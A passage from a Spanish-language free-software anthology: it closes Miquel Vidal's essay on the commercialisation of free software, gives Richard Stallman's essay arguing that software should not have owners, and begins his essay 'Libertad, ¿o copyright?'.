amenaza,	 ni	 siquiera	 como	 un	 problema,	 antes	 al	 contrario:	 alguna	 gente	 se	 ha
esforzado	 mucho	 para	 convencer	 a	 las	 empresas	 de	 la	 viabilidad	 capitalista	 del
modelo,	y	ahora	empiezan	a	recogerse	los	frutos.	¿Cómo	vamos	a	oponernos	ahora	a
que	las	empresas	ganen	dinero	con	el	modelo,	siempre	y	cuando	mantengan	las	reglas
del	juego,	es	decir,	produzcan	o	financien	software	libre?

Ni	 tenemos	 perspectiva	 ni	 ha	 pasado	 tiempo	 suficiente	 (apenas	 dos	 años)	 para
valorar	lo	que	va	a	suponer	la	irrupción	masiva	de	capital	fuerte	y	de	transnacionales
en	el	software	libre.	Mi	apreciación	personal	es	que,	a	diferencia	de	otras	cuestiones
en	 que	 se	 mantiene	 una	 actitud	 crítica	 y	 muy	 alerta	 (como	 la	 legislación	 sobre
patentes),	en	este	crucial	asunto	hay	excesiva	fe	en	las	bondades	del	mercado	y	del
libre	 comercio.	 Es	 cierto	 que	 hasta	 ahora	 se	 ha	 conseguido	 doblegar	 a	 verdaderos
gigantes,	pero	ahora	 la	 situación	es	distinta	porque	con	el	modelo	de	«cooperación
egoísta»	—y	qué	mayor	paradigma	de	 la	 cooperación	egoísta	que	 el	de	 la	 empresa
capitalista—	 esas	 empresas	 juegan	 a	 estar	dentro.	 Se	 puede	 pasar	 fácilmente	 de	 la
cooperación	sin	mando	a	la	cooperación	sujetada,	la	cooperación	con	mando.

Se	presupone,	en	contra	de	toda	evidencia	histórica	anterior,	que	lo	que	es	bueno
para	 las	empresas	es	 también	bueno	para	 las	personas.	Y	el	axioma	no	es	ese,	 sino
uno	más	tautológico	pero	también	más	exacto:	lo	que	es	bueno	para	las	empresas	es
bueno	para	las	empresas.	Y	nada	más.	Bien	es	cierto	que,	a	veces,	aquello	que	genera
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beneficio	 empresarial	 es	 reutilizado	 para	 procurar	 beneficios	 sociales,	 pero	 esto	 es
colateral	(como	un	epifenómeno)	y	es	atrozmente	ingenuo	confiar	a	priori	en	que	va
a	ser	así.	La	confusión	entre	 lo	que	es	bueno	para	 las	empresas	 (la	acumulación	de
capital	 y	 la	 extracción	 de	 beneficio	 económico	 por	 encima	 de	 cualquier	 otra
consideración)	y	lo	que	es	bueno	para	la	gente	(la	producción	de	bienes	públicos	y	de
riqueza	social	para	 la	vida	en	comunidad)	puede	ser	desastrosa.	Todo	el	 interés	del
capitalismo	en	el	software	libre	es	convertirlo	en	una	máquina	más	de	hacer	dinero,
pero	como	con	todo	lo	demás	si	lo	consigue	probablemente	será	a	costa	de	vaciarlo
de	todo	contenido	liberador.

El	sector	que	va	más	allá	de	la	superioridad	técnica	y	que	realiza	una	apuesta	por
la	 dimensión	 ética	 del	 software	 libre,	 confía	 en	 la	 fortaleza	 del	 movimiento	 y	 de
momento	no	se	percibe	alarma	alguna	en	este	sentido.	Se	considera	que	el	modelo	de
producción	del	software	libre	no	puede	ser	privatizado	y	recuperado	por	el	mercado,
que	 está	 blindado	 jurídicamente	 (la	 GPL),	 técnicamente	 (la	 superioridad	 en	 varios
órdenes	 de	 magnitud	 de	 lo	 creado	 mediante	 el	 modelo	 bazar	 frente	 a	 sistemas
propietarios)	 y	 políticamente	 (algunos	 de	 los	 más	 significativos	 promotores	 del
software	 libre	 provienen	 de	movimientos	 contraculturales	 o	 simpatizan	 con	 causas
proderechos	civiles).[47]

No	obstante	y	compartiendo	esa	confianza	en	 la	potencia	de	 la	comunidad	y	su
capacidad	 de	 respuesta,	 demostrada	 ampliamente	 hasta	 ahora,	 no	 hay	 razón	 para
desechar	 una	 lectura	 más	 crítica	 que	 nos	 haga	 cuando	 menos	 estar	 alerta	 y	 no
relajarnos	ante	los	éxitos	y	los	cantos	de	sirena	que	vienen	de	fuera:	el	capitalismo	ha
sido	 capaz	 de	 «recuperar»,	 privatizar	 y	mercantilizar	 casi	 todos	 los	 aspectos	 de	 la
producción	y	de	 la	vida,	 desde	 lo	material	 a	 lo	 inmaterial.	 ¿Por	qué	no	va	 a	poder
hacer	 lo	 mismo	 con	 el	 software	 libre?	 De	 hecho,	 hay	 ya	 bastantes	 indicios	 que
apuntan	a	la	«recuperación»	mercantilista	de	la	capacidad	de	innovación	del	hacker.
El	asalto	masivo	de	las	grandes	empresas,	con	perspectiva	exclusivamente	mercantil,
podría	 verse	 como	 un	 «troyano»[48]	 introducido	 en	 el	 software	 libre	 y	 que,	 con	 el
tiempo,	 parasite	 y	 desactive	 la	 potencia	 de	 la	 comunidad.	 ¿De	 qué	 modo?	 La
confusión	con	el	tema	de	las	licencias,	por	ejemplo,	está	debilitando	progresivamente
la	filosofía	de	fondo	del	software	libre	(por	eso	la	FSF	se	esfuerza	tanto	en	explicar
las	diferencias	entre	unas	y	otras),	haciendo	que	algunas	empresas	hagan	pasar	por
libres	 desarrollos	 que	 no	 lo	 son,	 o	 bien	 popularizando	 distribuciones	 comerciales
«Linux»	que	mezclan	software	propietario	con	la	base	libre	del	sistema	GNU/Linux.
Lo	primero	—la	confusión	con	 las	 licencias—	puede	causar	desconfianza	entre	 los
desarrolladores,	 que	 teman	 que	 su	 trabajo	 pueda	 ser	 finalmente	 reapropiado	 y
privatizado,	 y	 lo	 segundo	—las	distribuciones	GNU/Linux	que	 añaden	 software	no
libre—	 tapona	 el	 desarrollo	 de	 opciones	 libres	 que	 reemplacen	 esas	 soluciones
propietarias	y	se	legitima	software	propietario	como	si	por	el	hecho	de	funcionar	bajo
GNU/Linux	fuese	«menos	propietario»	y	más	aceptable.	Por	su	parte,	la	Open	Source
Initiative	 (OSI)	 no	 ha	 ayudado	 mucho	 a	 aclarar	 este	 panorama.	 Surgió	 como
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propuesta	 de	 algunos	 hackers	 para	 acabar	 con	 una	 ambigüedad	 (free	 en	 inglés,
significa	«libre»	pero	también	«gratis»)	y	con	un	término	que	al	parecer	disuadía	a	las
empresas,	pero	a	 cambio	ha	 introducido	otras	 tal	vez	peores:	 con	el	 concepto	open
source	 («fuente	 abierta»)	 que	 proponen	 como	 sustituto	 a	 «software	 libre»	 se	 pone
solo	 el	 acento	 en	 que	 el	 código	 fuente	 esté	 disponible,	 sin	 incidir	 en	 las	 otras	 dos
libertades	(poder	copiar	y	poder	redistribuir	libremente).	Es	decir	para	solucionar	una
ambigüedad,	se	ha	creado	otra	mayor.

Otro	 problema	 derivado	 del	 troyano	 de	 la	 mercantilización	 son	 los	 agravios
comparativos	 que	 pueden	 producirse	 entre	 hackers	 que	 cobran	 de	 multinacionales
mucho	 dinero	 por	 el	mismo	 trabajo	 y	 proyecto	 en	 que	 otros	 participan	 sin	 cobrar.
También	 hemos	 citado	 el	 peligro	 de	 que	 las	 empresas	 marquen	 las	 prioridades	 de
desarrollo	 y	 que	 se	 privatice	 el	 conocimiento.	 Esto	 último	 la	 privatización	 del
conocimiento	 entronca	 con	 dos	 de	 los	 problemas	más	 graves	 con	 los	 que	 se	 debe
medir	el	software	libre:	1)	la	poca	o	nula	disponibilidad	de	los	fabricantes	a	facilitar
información	 técnica	 relevante	 sobre	 sus	 dispositivos,	 ni	 a	 fabricar	 drivers	 para
GNU/Linux	que	permitan	utilizar	los	nuevos	dispositivos	que	van	apareciendo	en	el
mercado;	 y	 2)	 las	 patentes	 del	 software,	 como	 forma	de	privatización	de	 las	 ideas,
verdadera	amenaza	para	el	software	libre,	ya	que	obligan	a	esperar	durante	años	a	que
expiren	 patentes	 de	 invención	 que	 son	 cruciales	 para	 poder	 utilizar	 determinados
programas.

Algunos	de	esos	elementos,	o	varios	combinados	entre	sí,	podrían	desmoronar	la
cooperación	sin	mando	y,	por	tanto,	la	comunidad	de	software	libre	tal	y	como	hoy	la
conocemos:	 y	 si	 no	 hay	 comunidad,	 no	 hay	 software	 libre;	 puede	 haber	 fuentes
abiertas	 y	 públicas	 incluso,	 pero	 no	 software	 libre.	 Se	 hace	 pues	 cada	 vez	 más
necesario	 un	 análisis	 político	 del	 software	 libre	 que	 lleve	 a	 una	 toma	 de	 postura
política	 o,	 si	 se	 prefiere,	 a	 una	 apuesta	 ética	 que	 no	 ponga	 en	 primer	 lugar	 la
conveniencia	o	 la	mera	 instrumentalización	de	 si	 es	mejor	o	peor	que	 las	 opciones
propietarias.	 Estamos	 ante	 un	 fenómeno	 que	 escapa	 claramente	 a	 los	 parámetros
clásicos	 de	 la	 economía	 política	 y	 de	 la	 ideología:	 escapa	 a	 los	 parámetros
ideológicos	al	uso,	pues	ni	acaba	de	encajar	en	una	visión	antagonista	—hay	grandes
dosis	 de	 pragmatismo	 y	 no	 existe	 una	 visión	 decididamente	 anticapitalista—	 y
tampoco	encaja	en	el	neoliberalismo	puro	y	duro	—la	 libertad	absoluta	es	un	valor
fundamental	 del	 movimiento—,	 sí,	 pero	 no	 el	 único	 pues	 hay	 también	 principios
éticos	acerca	de	 lo	público,	del	apoyo	mutuo	y	del	acceso	igualitario	y	horizontal	a
los	 recursos	del	conocimiento	y	en	contra	de	 la	privatización	del	 saber	humano.	Es
una	nueva	noción	de	bien	público,	no	tutelado	por	el	mercado	ni	por	el	Estado:	es	un
nuevo	 espacio	 público	 no	 estatal.	 No	 hay	 duda	 de	 que	 un	 nuevo	 modelo	 de
cooperación	social	productiva	ha	surgido	en	torno	al	software	libre:	falta	saber	lo	que
dará	 de	 sí	 esa	 comunidad,	 además	 de	 buenas	 herramientas	 informáticas,	 y	 si	 este
nuevo	 paradigma	 podrá	 extenderse	 a	 otros	 sectores	 de	 la	 producción	 inmaterial.
Estamos	 pues	 ante	 una	 verdadera	 contienda	 política,	 que	 no	 está	 ganada	 ni	mucho
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menos,	y	que	requiere	determinación	y	apoyo	al	software	libre	y	una	lucha	decidida
contra	 las	 patentes	 de	 software	 y	 demás	 leyes	 sobre	 la	 propiedad	 intelectual	 que
previsiblemente	 podrían	 detener	 su	 avance.[49]	 Me	 gustaría	 acabar	 citando	 unas
palabras	de	los	paleoantropólogos	Carbonell	y	Sala,	del	proyecto	Atapuerca,	pues	me
parecen	un	magnífico	colofón	que	de	algún	modo	resume	y	explica	dónde	reside	 la
singularidad	y	la	potencia	del	software	libre:	«No	es	la	humanización	de	la	tecnología
lo	que	debemos	buscar,	sino	su	socialización.	No	es	posible	humanizar	algo	que	es
exclusivamente	 humano.	 La	 socialización	 es	 lo	 que	 permite	 un	 crecimiento
exponencial	de	las	capacidades	humanas»[50].

Reconocimientos

Sin	la	propuesta	primero	y	la	insistencia	después	de	la	Oficina	2004	de	Barcelona
para	 escribir	 esta	 introducción	 política	 al	 software	 libre,	 probablemente	 nunca	 me
habría	puesto	a	ello.	Al	primero	que	escuché	explicar	con	claridad	la	diferencia	entre
el	 acercamiento	 ético	 y	 el	 pragmático	 al	 software	 libre	 fue	 a	 Jesús	 González-
Barahona.	 Buena	 parte	 de	 las	 ideas	 expresadas	 en	 la	 sección	 «Desafíos	 e
interrogantes»	 son	 fruto	 de	 mis	 frecuentes	 conversaciones	 con	 Marga	 Padilla,	 de
quien	 tanto	 he	 aprendido	 a	 lo	 largo	 de	 muchas	 horas	 de	 hackin’	 —y	 de	 vida—
compartidas	durante	estos	tres	últimos	años.	Agradezco	también	la	atenta	lectura	que
Luis	Pueyo	hizo	de	la	versión	preliminar	de	este	artículo,	cuyas	críticas,	comentarios
y	sutiles	observaciones	sin	duda	han	mejorado	el	texto	final.	Por	último,	but	not	least,
la	confianza	y	el	apoyo	del	CSOA	el	Laboratorio	a	 la	 telemática	antagonista	me	ha
permitido	aprender	a	socializar	el	conocimiento	y	ha	demostrado	que	son	posibles	en
un	 centro	 social	 ocupado	 proyectos	 estables	 de	 autoproducción	 basados	 en	 nuevas
tecnologías.

Lavapiés,	Madrid
Agosto	de	2000

Copyright	2000	Miquel	Vidal
Se	 otorga	 permiso	 para	 copiar,	 distribuir	 y/o	 modificar	 este	 documento	 bajo	 los	 términos	 de	 la	 Licencia	 de
Documentación	Libre	GNU,	versión	1.1	o	cualquier	versión	posterior	publicada	por	la	Free	Software	Foundation.
Se	 considerara	 como	 Secciones	 Invariantes	 todo	 el	 documento,	 no	 habiendo	 Textos	 de	 Portada	 ni	 Textos	 de
Contraportada.	Puedes	consultar	una	copia	de	la	licencia	en	http://www.gnu.org/licenses/gpl.html.
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Por	qué	el	software	no	debe	tener	propietarios[51]

Richard	M.	Stallman
notas	de	Miquel	Vidal

ichard	Stallman	es	un	prestigioso	hacker	neoyorquino.	El	editor	Emacs	es	su	creación	más
famosa.	 Nació	 en	 1954,	 se	 graduó	 en	 Harvard	 en	 1971	 y	 trabajó	 en	 el	 laboratorio	 de

Inteligencia	Artificial	del	MIT	hasta	principios	de	los	‘80.	Cuando	la	mayoría	de	sus	compañeros
partió	en	busca	de	empleo	en	grandes	empresas,	decidió	iniciar	el	proyecto	GNU	para	mantener
vivo	 el	 espíritu	 de	 colaboración	 y	 trabajo	 colectivo	 de	 los	 primeros	 hackers.	 En	 la	 actualidad
lidera	la	Free	Software	Foundation	(Fundación	Software	Libre)	que	promueve	la	democratización
del	acceso	a	los	programas	y	las	nuevas	tecnologías.

La	 selección	 de	 notas	 y	 artículos	 que	 aquí	 se	 presenta,	 reúne	 intervenciones	 realizadas	 por
Stallman	 en	 distintos	 medios	 acerca	 de	 temas	 vinculados	 con	 la	 idea	 del	 software	 libre	 y	 sus
implicaciones	 en	 otros	 ámbitos	 de	 la	 cultura	 y	 la	 economía,	 como	 la	 educación,	 las	 leyes	 de
derechos	de	autor	y	las	políticas	estatales	sobre	patentes.

Las	 tecnologías	digitales	de	 la	 información	contribuyen	al	mundo	haciendo	que
sea	más	fácil	copiar	y	modificar	 información.	Los	ordenadores	prometen	hacer	esto
más	fácil	para	todos.

Pero	no	todo	el	mundo	quiere	que	sea	más	fácil.	El	sistema	del	copyright	permite
que	 los	 programas	 de	 software	 tengan	 «propietarios»,	 la	mayor	 parte	 de	 los	 cuales
pretenden	 privar	 al	 resto	 del	 mundo	 del	 beneficio	 potencial	 del	 software.	 Los
propietarios	 desearían	 ser	 los	 únicos	 con	 capacidad	 para	 copiar	 y	 modificar	 el
software	que	usamos.

El	 sistema	 de	 copyright	 creció	 con	 la	 imprenta	 —una	 tecnología	 para	 la
producción	masiva	de	copias—.	El	copyright	se	ajustaba	bien	a	esta	tecnología	puesto
que	 era	 restrictiva	 sólo	 para	 los	 productores	 masivos	 de	 copias.	 No	 privaba	 de
libertad	a	los	lectores	de	libros.	Un	lector	cualquiera,	que	no	poseyera	una	imprenta,
sólo	podía	copiar	libros	con	pluma	y	tinta,	y	a	pocos	lectores	se	les	ponía	un	pleito
por	ello.

Las	 tecnologías	 digitales	 son	 más	 flexibles	 que	 la	 imprenta:	 cuando	 la
información	 adopta	 forma	 digital,	 se	 puede	 copiar	 fácilmente	 para	 compartirla	 con
otros.	Es	precisamente	esta	flexibilidad	la	que	se	ajusta	mal	a	un	sistema	como	el	del
copyright.	Ésa	es	la	razón	del	incremento	de	medidas	perversas	y	draconianas	que	se
emplean	en	la	actualidad	para	hacer	cumplir	el	copyright	del	software.	Consideremos
estas	cuatro	prácticas	de	la	Software	Publishers	Association	[SPA[52]]:

Propaganda	masiva	afirmando	que	está	mal	desobedecer	a	los	propietarios	para
ayudar	a	un	amigo.
Pedir	 a	 la	 gente	 que	 se	 conviertan	 en	 soplones	 para	 delatar	 a	 sus	 colegas	 y
compañeros	de	trabajo.
Redadas	 (con	 ayuda	 policial)	 en	 oficinas	 y	 escuelas,	 en	 las	 que	 la	 gente	 debe
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probar	que	son	inocentes	de	hacer	copias	ilegales.
El	proceso	judicial	por	parte	del	gobierno	de	los	EE.	UU.,	a	petición	de	la	SPA,
de	personas	como	David	LaMacchia,	del	MIT,	no	por	copiar	software	(no	se	le
acusa	 de	 copiar	 nada),	 sino	 sencillamente	 por	 dejar	 sin	 vigilancia	 equipos	 de
copia	y	no	censurar	su	uso.
Cada	una	de	estas	cuatro	prácticas	 se	asemeja	a	 las	usadas	en	 la	antigua	Unión

Soviética,	 donde	 todas	 las	 copiadoras	 tenían	 un	 vigilante	 para	 prevenir	 copias
prohibidas,	y	donde	las	personas	tenían	que	copiar	información	en	secreto	y	pasarla
mano	a	mano	en	 forma	de	«samizdat».	Por	 supuesto	hay	una	diferencia:	 el	motivo
para	el	control	de	información	en	la	Unión	Soviética	era	político;	en	los	EE.	UU.	el
motivo	es	el	beneficio	económico.	Pero	 son	 las	acciones	 las	que	nos	afectan,	no	el
motivo.	Cualquier	intento	de	bloquear	el	compartir	información,	no	importa	la	causa,
lleva	a	los	mismos	métodos	y	a	la	misma	dureza.

Los	propietarios	utilizan	diversos	argumentos	para	que	se	les	conceda	el	control
del	modo	en	que	usamos	la	información:

Insultos
Los	propietarios	usan	palabras	difamatorias	como	«piratería»	y	«robo»,	al	 igual

que	 terminología	 técnica	 como	 «propiedad	 intelectual»	 y	 «daño»,	 para	 sugerir	 una
cierta	 línea	 de	 pensamiento	 al	 público	 una	 analogía	 simplista	 entre	 programas	 y
objetos	físicos.	Nuestras	ideas	e	intuiciones	acerca	de	la	propiedad	sobre	los	objetos
materiales	 suelen	 referirse	 a	 si	 es	 justo	 quitarle	 un	 objeto	 a	 alguien.	No	 se	 aplican
directamente	 a	 hacer	 una	 copia	 de	 algo.	 Pero	 los	 propietarios	 nos	 piden	 que	 las
apliquemos	en	cualquier	caso.

Exageración
Los	propietarios	dicen	que	sufren	un	«daño»	o	«pérdida	económica»	cuando	los

usuarios	 copian	programas	por	 su	 cuenta.	Pero	 el	 copiar	 no	 tiene	un	 efecto	directo
sobre	el	propietario,	y	no	hace	daño	a	nadie.	El	propietario	 sólo	puede	perder	 si	 la
persona	que	hizo	la	copia	hubiese	pagado	por	una	del	propietario	en	su	lugar.

Un	 mínimo	 de	 reflexión	 muestra	 que	 la	 mayoría	 de	 tales	 personas	 no	 habrían
comprado	esas	copias.	Aun	así	los	propietarios	calculan	sus	«pérdidas»	como	si	todos
y	cada	uno	hubiesen	comprado	una	copia.	Esto	es	una	exageración	por	decirlo	de	una
manera	suave.

La	ley
Los	propietarios	a	menudo	describen	el	estado	actual	de	la	ley,	así	como	las	duras

sanciones	con	 las	que	nos	amenazan.	En	este	enfoque	va	 implícita	 la	sugerencia	de
que	la	ley	actual	refleja	un	punto	de	vista	moral	incuestionable	—y	aún	así,	al	mismo
tiempo,	se	nos	insta	a	considerar	estas	sanciones	como	hechos	naturales	por	los	que
no	se	puede	responsabilizar	a	nadie.

Esta	 línea	 de	 persuasión	 no	 está	 diseñada	 para	 defenderse	 ante	 el	 pensamiento
crítico;	está	concebida	para	reforzar	un	lugar	común.

Es	evidente	que	las	leyes	no	distinguen	lo	que	está	bien	de	lo	que	está	mal.	Todo
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estadounidense	 debería	 saber	 que,	 hace	 cuarenta	 años,	 iba	 contra	 la	 ley	 que	 un
persona	de	raza	negra	se	sentase	en	la	parte	delantera	del	autobús;	pero	solamente	los
racistas	dirían	que	sentarse	ahí	no	estaba	bien.

Derechos	naturales
Los	 autores	 a	 menudo	 sostienen	 que	 existe	 una	 conexión	 especial	 con	 los

programas	 que	 han	 escrito,	 y	 añaden	 que,	 en	 consecuencia,	 sus	 deseos	 e	 intereses
respecto	 al	 programa	 simplemente	 prevalecen	 sobre	 aquéllos	 de	 cualquier	 otra
persona	—o	incluso	de	los	del	resto	del	mundo.	(Normalmente	son	las	empresas,	no
los	 autores,	 los	 que	 retienen	 los	 copyrights	 sobre	 el	 software,	 pero	 se	 espera	 de
nosotros	que	ignoremos	esta	discrepancia).

A	quienes	proponen	esto	como	un	axioma	ético	—el	autor	es	más	importante	que
tú—	 sólo	 les	 puedo	 decir	 que	 yo	 mismo,	 un	 notable	 autor	 de	 software,[53]	 lo
considero	una	tontería.

Pero	la	gente	por	lo	general	sólo	suele	sentir	alguna	simpatía	hacia	los	derechos
naturales	por	dos	razones.

Una	 razón	 es	 una	 analogía	 forzada	 entre	 el	 software	 y	 los	 objetos	 materiales.
Cuando	yo	cocino	spaghettis,	me	quejo	si	otra	persona	se	los	come,	porque	entonces
yo	ya	no	me	los	puedo	comer.	Su	acción	me	duele	exactamente	tanto	como	lo	que	le
beneficia	a	él;	sólo	uno	de	nosotros	se	puede	comer	los	spaghettis,	así	que	la	pregunta
es:	 ¿quién?	 La	más	mínima	 distinción	 entre	 alguno	 de	 nosotros	 es	 suficiente	 para
inclinar	la	balanza	ética.

Pero	el	hecho	de	que	tú	ejecutes	o	modifiques	un	programa	que	yo	he	escrito	te
afecta	a	 ti	directamente	y	a	mí	 indirectamente.	Si	 tú	 le	das	una	copia	a	 tu	amigo	 te
afecta	a	ti	y	a	tu	amigo	mucho	más	que	lo	que	me	afecta	a	mí.	Yo	no	debería	tener	el
poder	de	decirte	que	no	hagas	estas	cosas.	Nadie	debería.

La	segunda	razón	es	que	a	la	gente	se	le	ha	dicho	que	los	derechos	naturales	de
autor	son	una	tradición	aceptada	e	indiscutida	de	nuestra	sociedad.

Desde	un	punto	de	vista	histórico,	sucede	justamente	lo	contrario.	La	idea	de	los
derechos	 naturales	 de	 autor	 fue	 propuesta	 y	 decididamente	 rechazada	 cuando	 se
concibió	la	Constitución	de	EE.	UU.	Ésa	es	la	razón	por	la	que	la	Constitución	sólo
permite	 un	 sistema	 de	 copyright	 y	 no	 requiere	 uno;	 por	 esa	 razón	 dice	 que	 el
copyright	 debe	 ser	 temporal.	Establece	 asimismo	que	 el	 propósito	 del	 copyright	 es
promocionar	el	progreso	no	recompensar	a	los	autores.	El	copyright	recompensa	a	los
autores	 en	 cierta	medida,	 y	 a	 los	 editores	más,	 pero	 se	 concibe	 como	un	medio	de
modificar	su	comportamiento.

La	tradición	realmente	establecida	de	nuestra	sociedad	es	que	el	copyright	vulnera
los	derechos	naturales	del	público	—y	que	esto	sólo	se	puede	justificar	por	el	bien	del
público.[54]

Economía
El	último	argumento	que	se	emplea	para	justificar	la	existencia	de	los	propietarios

de	software	es	que	esto	lleva	a	la	producción	de	más	software.
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A	diferencia	 de	 los	 anteriores,	 este	 argumento	por	 lo	menos	 adopta	 un	 enfoque
legítimo	 sobre	 el	 tema.	 Se	 basa	 en	 un	 objetivo	 válido	 satisfacer	 a	 los	 usuarios	 de
software.	Y	está	empíricamente	demostrado	que	la	gente	producirá	más	de	algo	si	se
les	paga	bien	por	ello.

Pero	el	argumento	económico	tiene	un	defecto:	se	basa	en	la	presunción	de	que	la
diferencia	 es	 sólo	 cuestión	 de	 cuánto	 dinero	 debemos	 pagar.	 Asume	 que	 la
«producción	de	software»	es	lo	que	queremos,	tenga	el	software	propietarios	o	no.

La	gente	acepta	gustosamente	esta	presunción	porque	está	de	acuerdo	con	nuestra
experiencia	acerca	de	los	objetos	materiales.	Considérese	un	bocadillo,	por	ejemplo.
Es	posible	que	puedas	conseguir	un	bocadillo	equivalente	bien	gratis	o	por	un	precio.
Si	es	así,	la	cantidad	que	pagas	es	la	única	diferencia.	Tanto	si	lo	tienes	que	comprar
como	si	no,	el	bocadillo	tiene	el	mismo	sabor,	el	mismo	valor	nutricional	y	en	ambos
casos	te	lo	puedes	comer	sólo	una	vez.	El	hecho	de	si	el	bocadillo	lo	obtienes	de	un
propietario	o	no,	no	puede	afectar	directamente	a	nada	más	que	la	cantidad	de	dinero
que	te	queda	después.

Esto	es	cierto	para	cualquier	objeto	material	—el	hecho	de	que	tenga	o	no	tenga
propietario	no	afecta	directamente	a	lo	que	es,	o	a	lo	que	puedas	hacer	con	ello	si	lo
adquieres.

Pero	si	un	programa	tiene	un	propietario,	esto	afecta	en	gran	medida	a	lo	que	es,	y
a	 lo	 que	 puedes	 hacer	 con	 un	 copia	 si	 la	 compras.	 La	 diferencia	 no	 es	 sólo	 una
cuestión	de	dinero.	El	sistema	de	propietarios	de	software	incentiva	a	los	propietarios
de	 software	 a	 producir	 algo	—pero	 no	 lo	 que	 la	 sociedad	 realmente	 necesita—.	Y
causa	una	contaminación	ética	intangible	que	nos	afecta	a	todos.

¿Qué	 es	 lo	 que	 la	 sociedad	 necesita?	 Necesita	 información	 que	 esté
verdaderamente	 a	 disposición	 de	 sus	 ciudadanos	—por	 ejemplo,	 programas	 que	 la
gente	pueda	leer,	arreglar,	adaptar	y	mejorar,	no	solamente	ejecutar—.	Pero	lo	que	los
propietarios	 de	 software	 típicamente	 ofrecen	 es	 una	 caja	 negra	 que	 no	 podemos	 ni
estudiar	ni	modificar.

La	sociedad	también	necesita	libertad.	Cuando	un	programa	tiene	un	propietario,
los	usuarios	pierden	la	libertad	de	controlar	una	parte	de	sus	propias	vidas.

Y	sobre	todo	una	sociedad	necesita	incentivar	el	espíritu	de	cooperación	entre	sus
ciudadanos.	 Cuando	 los	 propietarios	 de	 software	 nos	 dicen	 que	 ayudar	 a	 nuestros
vecinos	de	una	manera	natural	es	«piratería»,	están	contaminando	el	espíritu	cívico	de
nuestra	sociedad.

Esto	es	por	lo	que	decimos	que	el	software	libre	es	una	cuestión	de	libertad,	no	de
precio.[55]

El	argumento	económico	para	justificar	la	propiedad	es	erróneo,	pero	la	cuestión
económica	es	real.	Algunas	personas	escriben	software	útil	por	el	placer	de	escribirlo
o	por	 la	admiración	y	amor	al	arte;[56]	pero	si	queremos	más	software	del	que	esas
personas	escriben,	necesitamos	conseguir	fondos.

Desde	hace	ya	diez	años,	los	desarrolladores	de	software	libre	han	probado	varios
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métodos	 para	 recabar	 fondos,	 con	 algo	 de	 éxito.	No	hay	necesidad	 de	 hacer	 rico	 a
nadie;	los	ingresos	medios	de	una	familia	media,	alrededor	de	35	000	dólares,	prueba
ser	 incentivo	 suficiente	 para	 muchos	 trabajos	 que	 son	 menos	 satisfactorios	 que
programar.

Durante	 años,	 hasta	 que	 una	 beca	 lo	 hizo	 innecesario,	 yo	 me	 ganaba	 la	 vida
realizando	mejoras	a	medida	sobre	software	libre	que	yo	había	escrito.	Cada	mejora
se	añadía	a	la	versión	standard	lanzada	y	así,	finalmente,	quedaban	disponibles	para
el	público	en	general.	Los	clientes	me	pagaban	para	que	trabajase	en	las	mejoras	que
ellos	querían,	en	vez	de	en	 las	características	que	yo	habría	considerado	 la	máxima
prioridad.

La	Fundación	para	el	Software	Libre,	una	entidad	sin	ánimo	de	 lucro	exenta	de
impuestos	para	el	desarrollo	de	software	libre,	consigue	fondos	mediante	la	venta	de	
CD-ROMs	de	GNU[57],	camisetas,	anuales	y	distribuciones	«deluxe»	(todo	lo	cual	los
usuarios	 son	 libres	 de	 copiar	 y	 modificar),	 así	 como	 mediante	 donaciones.	 Ahora
cuenta	con	un	equipo	de	cinco	programadores,	y	tres	empleados	[cuando	se	escribió
el	artículo]	que	se	encargan	de	los	pedidos	por	correo.

Algunos	 desarrolladores	 de	 software	 libre	 ganan	 dinero	 mediante	 la	 venta	 de
servicios	de	soporte.	Cygnus	Support,[58]	que	cuenta	con	alrededor	de	50	empleados,
estima	 que	 en	 torno	 al	 15	 por	 ciento	 de	 la	 actividad	 de	 su	 equipo	 es	 desarrollo	 de
software	libre	—un	porcentaje	respetable	para	una	compañía	de	software.

Algunas	 compañías,	 incluyendo	 Intel,	 Motorola,	 Texas	 Instruments	 y	 Analog
Devices,	han	unido	esfuerzos	para	financiar	el	desarrollo	continuado	del	compilador
GNU	 para	 el	 lenguaje	 C.	Mientras,	 el	 compilador	GNU	 para	 el	 lenguaje	Ada	 está
siendo	 financiado	por	 la	Fuerza	Aérea	de	EE.	UU.,	que	cree	que	esta	es	 la	manera
más	efectiva	de	conseguir	un	compilador	de	alta	calidad.[59]

Todos	 estos	 ejemplos	 son	 modestos;[60]	 el	 movimiento	 de	 software	 libre	 es
pequeño	 y	 todavía	 joven.	 Pero	 el	 ejemplo	 de	 la	 radio	 «mantenida-por-la-
audiencia»[61]	en	los	EE.	UU.	muestra	que	es	posible	mantener	una	actividad	grande
sin	forzar	a	cada	usuario	a	pagar.

Como	usuario	de	informática	hoy	en	día,	puede	que	estés	utilizando	un	programa
propietario	[proprietary	program].	Si	 tu	amigo	 te	pide	hacer	una	copia,	estaría	mal
negarse	 a	 ello.	 La	 cooperación	 es	 más	 importante	 que	 el	 copyright.	 Pero	 una
cooperación	 clandestina,	 escondida,	 no	 contribuye	 a	 mejorar	 la	 sociedad.	 Una
persona	 debería	 aspirar	 a	 vivir	 una	 vida	 abiertamente	 con	 orgullo,	 y	 esto	 significa
decir	No	al	software	propietario	[proprietary	software].

Te	mereces	 ser	 capaz	 de	 cooperar	 abierta	 y	 libremente	 con	 otras	 personas	 que
usan	 software.	 Te	 mereces	 ser	 capaz	 de	 aprender	 cómo	 funciona	 el	 software,	 y
enseñar	a	tus	estudiantes	con	él.	Te	mereces	ser	capaz	de	contratar	a	tu	programador
favorito	para	arreglarlo	cuando	se	rompa.

Te	mereces	el	software	libre.
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Copyright	1994,	1998	Richard	Stallman
Se	permite	la	copia	textual	y	la	distribución	de	este	artículo	en	su	totalidad	a	través	de	cualquier	medio,	siempre
que	esta	nota	se	mantenga.
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Libertad,	¿o	copyright?[62]

Richard	M.	Stallman

Había	una	vez,	en	la	época	de	la	imprenta,	una	regulación	industrial	establecida
para	el	negocio	de	escribir	y	editar.	Se	llamaba	copyright.	El	propósito	del	copyright
era	 fomentar	 la	 publicación	 de	 una	 diversidad	 de	 obras	 escritas.	 El	 método	 del
copyright	era	obligar	a	los	editores	a	pedir	permiso	a	los	autores	para	volver	a	editar
escritos	recientes.

Los	 lectores	 corrientes	 tenían	 pocos	 motivos	 para	 rechazarlo,	 puesto	 que	 el
copyright	 sólo	 restringía	 la	 publicación,	 no	 las	 cosas	 que	 un	 lector	 podía	 hacer.	 Si
subía	 el	 precio	 del	 libro	 en	 una	 pequeña	 cantidad,	 sólo	 era	 el	 dinero.	 El	 copyright
